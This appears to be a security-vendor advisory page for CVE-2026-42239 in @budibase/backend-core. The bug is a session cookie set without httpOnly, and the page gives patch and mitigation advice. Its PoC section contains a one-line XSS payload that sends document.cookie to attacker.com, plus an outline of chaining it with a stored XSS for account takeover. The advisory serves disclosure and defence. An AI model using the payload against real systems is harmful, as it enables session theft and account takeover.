CVE-2026-42239 — @budibase/backend-core
HIGHCVE-2026-42239 is a high-severity (CVSS 8.1) CWE-1004 vulnerability in @budibase/backend-core. A fix is available for @budibase/backend-core — see the affected versions and patch details below.
Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42239.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42239 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/backend-corenpmDescription
Summary
The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.
The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.
Details
packages/backend-core/src/utils/utils.ts, lines 215-226:
const config: SetOption = {
expires: MAX_VALID_DATE,
path: "/",
httpOnly: false, // ← JavaScript can read the session JWT
overwrite: true,
}
if (env.COOKIE_DOMAIN) {
config.domain = env.COOKIE_DOMAIN
}
ctx.cookies.set(name, value, config)
This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.
Missing flags:
httpOnly: false→ should betrue(prevent JS access)- No
secureflag → cookie sent over HTTP (should besecure: truefor HTTPS deployments) - No
sameSite→ susceptible to cross-site request attachment (should besameSite: 'lax')
PoC
Any XSS payload can steal the session:
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.
Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
- Create an entity with a name containing
<script>payload - Any user who views that entity has their JWT stolen
- Attacker uses the JWT for persistent account access
Impact
Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."
This affects all Budibase deployments since the cookie configuration is hardcoded.
ATTACHMENTS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/backend-core | all versions | 3.35.10npm install @budibase/backend-core@3.35.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/backend-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @budibase/backend-core to 3.35.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42239 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42239 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42239. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42239 in your dependencies?
O3 Security finds CVE-2026-42239 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.